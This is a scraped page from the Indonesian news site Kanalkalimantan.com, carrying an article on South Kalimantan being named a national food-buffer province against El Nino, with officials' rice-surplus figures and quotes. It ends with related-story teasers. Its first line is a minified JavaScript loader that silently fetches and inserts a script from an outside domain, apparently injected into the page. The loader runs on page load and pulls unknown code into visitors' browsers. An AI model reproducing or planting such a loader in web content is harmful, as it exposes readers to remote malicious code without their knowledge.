(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Provinsi Kalimantan Selatan ditetapkan sebagai satu dari 6 provinsi penyangga pangan nasional menghadapi ancaman El Nino atau fenomena pemanasan suhu muka laut.
Selain Provinsi Kalsel, provinsi lainnya yang menjadi penyangga utama pangan memasuki El Nino adalah Jawa, Sumatera Selatan, Sumatera Utara, Lampung, Sulawesi Selatan.
Daerah tersebut dipilih karena diharapkan masih tersedia lahan-lahan gambut yang masih menyimpan air. Berdasarkan data dari BMKG, puncak dari fenomena tersebut di Indonesia diperkirakan akan terjadi pada Agustus hingga September.
Menyikapi kesiapan Kalsel sebagai penyangga pangan nasional, Gubernur Kalsel H Sahbirin Noor melalui Kepala Dinas Pertanian dan Ketahanan Pangan (DPKP) Provinsi Kalsel H Syamsir Rahman menyebut ketahanan pangan di Kalsel dipredikasi mampu memproduksi padi surplus atau berlebih pada 2023 ini.
Baca juga: Seleksi Timnas U-17 di Stadion Demang Lehman Martapura, Ini Syarat dan Tanggal Pelaksanaannya
Tercatat pada tahun 2022 lalu, surplus beras yang mencapai 42,46 ribu ton. Surplus beras ini pun diyakini akan kembali terjadi pada 2023 ini.
“Kalsel siap sebagai penyangga pangan menghadapi El Nino. Sebagaimana target Gubernur Paman Birin, kita terus tanam, panen, tanam panen terus,” kata Syamsir Rahman.
Syamsir menyebut, pun terjadi El Nino dan musim kering, para petani di Banua akan tetap menanam padi seperti biasanya.
“Sekali lagi, pokoknya tanam panen, tanam panen lagi,” ungkap Syamsir.
Baca juga: Sambut 1 Muharram 1445 Hijriyah, Pemkab HSU Gelar Doa Bersama
Diketahui sebagaimana yang disampaikan Menteri Pertanian Syahrul Yasin Limpo, data yang dimilikinya, stok beras di Indonesia masih cenderung aman. Di mana sampai Juli ini ada panen hingga di atas 800 ribu hektare, sedangkan pada bulan Agustus juga mencapai di atas 800 ribu hektare.
Hal ini juga yang membuat dirinya masih meyakini tidak akan ada kelangkaan beras jelang puncak fenomena El Nino pada Agustus-September mendatang.
“Overstock kita masih di atas 2 juta, tapi kita tidak boleh pede siapa tahu El Nino berlanjut dari Agustus-September. Sehingga presiden bilang ini nggak boleh. Dihitung, optimalkan saja yang bisa dilakukan,” katanya.
Baca juga: ‘Tanam Saham’ Ayah Tiri di Berau, Ketahuan Setelah Hamil 6 Bulan
Ada beberapa upaya yang dilakukan Kementerian Pertanian dalam mengantisipasi fenomena El Nino, seperti memetakan daerah di Indonesia yang terdampak El Nino. Pada daerah yang airnya menipis bakal dilakukan intervensi seperti pengendalian air irigasi, persiapan lumbung pangan khusus, hingga penyiapan varietas tanaman yang hanya butuh sedikit air. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.